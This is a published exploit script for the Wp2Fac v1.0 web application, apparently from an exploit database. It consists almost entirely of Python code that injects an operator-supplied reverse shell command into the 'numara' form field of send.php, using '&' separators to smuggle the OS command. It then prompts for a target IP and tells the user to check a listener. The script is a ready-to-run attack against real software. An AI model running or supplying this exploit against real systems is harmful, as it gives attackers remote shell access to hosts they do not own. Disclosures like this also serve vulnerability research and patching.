Wp2Fac – OS Command Injection
# Exploit Title: Wp2Fac v1.0 - OS Command Injection # Date: 2023-08-27 # Exploit Author: Ahmet Ümit BAYRAM # Vendor: https://github.com/metinyesil/wp2fac # Tested on: Kali Linux & Windows 11 # CVE: N/A import requests def send_post_request(host, revshell): url = f'http://{host}/send.php' headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest', 'Origin': f'http://{host}', 'Connection': 'close', 'Referer': f'http://{host}/', } data = { 'numara': f'1234567890 & {revshell} &;' } response = requests.post(url, headers=headers, data=data) return response.text host = input("Target IP: ") revshell = input("Reverse Shell Command: ") print("Check your listener!") send_post_request(host, revshell) |